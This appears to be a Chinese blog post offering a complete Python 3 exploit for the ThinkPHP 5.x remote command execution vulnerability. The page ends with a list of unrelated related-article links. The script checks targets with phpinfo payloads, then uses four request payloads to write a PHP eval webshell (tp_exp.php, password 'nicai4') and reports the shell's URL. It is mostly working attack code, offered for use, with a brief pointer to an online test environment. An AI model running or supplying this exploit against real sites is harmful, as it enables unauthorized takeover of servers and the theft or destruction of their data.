python3编写ThinkPHP命令执行Getshell的方法


Posted in Python onFebruary 26, 2019

加了三个验证漏洞以及四个getshell方法

# /usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: Morker
# @Email: [email]admin@nsf.me[/email]
# @Blog:  [url]http://nsf.me/[/url]
 
import requests
import sys
 
def demo():
  print(' _______ _   _    _  _____ _  _ _____ ')
  print(' |__  __| |  (_)   | | | __ \| | | | __ \ ')
  print('  | | | |__ _ _ __ | | _| |__) | |__| | |__) |')
  print('''  | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''')
  print('  | | | | | | | | | |  <| |  | | | | |   ')
  print('  |_| |_| |_|_|_| |_|_|\_\_|  |_| |_|_|   ')
  print()
  print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')
  print('\tRemote command execution exploit.')
  print('\tVulnerability verification and getshell.')
  print('\tTarget: http://target/public')
  print()
class ThinkPHP():
  def __init__(self,web):
    self.web = web
    self.headers = {
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0",
    "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding" : "gzip, deflate",
    "Content-Type" : "application/x-www-form-urlencoded",
    "Connection" : "keep-alive"
    }
 
  def verification(self):
    i = 0
    s = 0
    verifications = ['/?s=index/\\think\Request/input&filter=phpinfo&data=1','/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1']
    while True:
      if i == len(verifications):
        break
      else:
        url = self.web + verifications[i]
        req = requests.get(url=url,headers=self.headers)
        if 'phpinfo()' in req.text:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] There are vulnerabilities.")
      print()
      toshell = input("[*] Getshell? (y/n):")
      if toshell == 'y':
        self.getshell()
      elif toshell == 'n':
        sys.exit()
      else:
        sys.exit()
    else:
      print("[-] There are no vulnerabilities.")
 
  def getshell(self):
    getshells = [
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=<?php @eval($_POST[nicai4]); ?>',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[nicai4]);%20?>%27%20>>%20tp_exp.php',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval($_POST[nicai4]);%20?^>%20>>tp_exp.php',
    '?s=index/\\think\\template\driver\\file/write&cacheFile=tp_exp.php&content=<?php%20eval($_POST[nicai4]);?>']
    shell = self.web + '/tp_exp.php'
    i = 0
    s = 0
    while True:
      if i == len(getshells):
        break
      else:
        url = self.web + getshells[i]
        req = requests.get(url=url,headers=self.headers)
        req_shell = requests.get(url=shell,headers=self.headers)
        if req_shell.status_code == 200:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] WebShell :%s PassWord :nicai4" % shell)
    else:
      print("[-] The vulnerability does not exist or exists waf.")
 
def main():
  demo()
  url = input("[*] Please input your target: ")
  run = ThinkPHP(url)
  run.verification()
 
if __name__ == '__main__':
  main()

注:图中的测试网址为在线漏洞环境,可自己去在线搭建测试。

环境地址:https://www.vsplate.com/

效果图:

python3编写ThinkPHP命令执行Getshell的方法

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
phpsir 开发 一个检测百度关键字网站排名的python 程序
Sep 17 Python
详细解读Python中解析XML数据的方法
Oct 15 Python
python爬虫之百度API调用方法
Jun 11 Python
Python实现的十进制小数与二进制小数相互转换功能
Oct 12 Python
Python实现感知器模型、两层神经网络
Dec 19 Python
Python with语句上下文管理器两种实现方法分析
Feb 09 Python
python爬虫爬取网页表格数据
Mar 07 Python
python二维码操作:对QRCode和MyQR入门详解
Jun 24 Python
PYQT5实现控制台显示功能的方法
Jun 25 Python
python GUI库图形界面开发之PyQt5动态(可拖动控件大小)布局控件QSplitter详细使用方法与实例
Mar 06 Python
python实现学生通讯录管理系统
Feb 25 Python
4种方法python批量修改替换列表中元素
Apr 07 Python
初探利用Python进行图文识别(OCR)
Feb 26 #Python
Python编写合并字典并实现敏感目录的小脚本
Feb 26 #Python
Python实现监控Nginx配置文件的不同并发送邮件报警功能示例
Feb 26 #Python
利用python实现对web服务器的目录探测的方法
Feb 26 #Python
python selenium 弹出框处理的实现
Feb 26 #Python
python实现学员管理系统
Feb 26 #Python
python实现电子产品商店
Feb 26 #Python
You might like
千呼万唤始出来,DOTA2勇士令状不朽宝藏Ⅱ现已推出
2020/08/25 DOTA
一个比较简单的PHP 分页分组类
2009/12/10 PHP
php清空(删除)指定目录下的文件,不删除目录文件夹的实现代码
2014/09/04 PHP
php格式化时间戳显示友好的时间实现思路及代码
2014/10/23 PHP
tp5(thinkPHP5)框架实现多数据库查询的方法
2019/01/10 PHP
PHP实现无限极分类的两种方式示例【递归和引用方式】
2019/03/25 PHP
javascript不同页面传值的改进版
2008/09/30 Javascript
js操作IE浏览器弹出浏览文件夹可以返回目录路径
2014/07/14 Javascript
基于JS实现弹出一个隐藏的div窗口body页面变成灰色并且不可被编辑
2016/12/14 Javascript
BootStrap 导航条实例代码
2017/05/18 Javascript
vue下跨域设置的相关介绍
2017/08/26 Javascript
JavaScript中的事件与异常捕获详析
2019/02/24 Javascript
js实现删除li标签一行内容
2019/04/16 Javascript
解决vue-photo-preview 异步图片放大失效的问题
2020/07/29 Javascript
原生js+canvas实现验证码
2020/11/29 Javascript
Vue+penlayers实现多边形绘制及展示
2020/12/24 Vue.js
利用Python的Flask框架来构建一个简单的数字商品支付解决方案
2015/03/31 Python
Python中的条件判断语句与循环语句用法小结
2016/03/21 Python
浅谈编码,解码,乱码的问题
2016/12/30 Python
python3 模拟登录v2ex实例讲解
2017/07/13 Python
python实现淘宝秒杀聚划算抢购自动提醒源码
2020/06/23 Python
实例讲解Python中浮点型的基本内容
2019/02/11 Python
PyCharm 配置远程python解释器和在本地修改服务器代码
2019/07/23 Python
Python 词典(Dict) 加载与保存示例
2019/12/06 Python
python判断变量是否为int、字符串、列表、元组、字典的方法详解
2020/02/13 Python
浅谈Keras中shuffle和validation_split的顺序
2020/06/19 Python
SQL里面IN比较快还是EXISTS比较快
2012/07/19 面试题
.net C#面试题
2012/08/28 面试题
META-INF文件夹中的MANIFEST.MF的作用
2016/06/21 面试题
个人委托书格式
2014/04/04 职场文书
课外科技活动总结
2014/08/27 职场文书
交通事故和解协议书
2014/09/25 职场文书
个人批评与自我批评范文
2014/10/17 职场文书
少先大队干部竞选稿
2015/11/20 职场文书
2016五一手机促销广告语
2016/01/28 职场文书
nginx 多个location转发任意请求或访问静态资源文件的实现
2021/03/31 Servers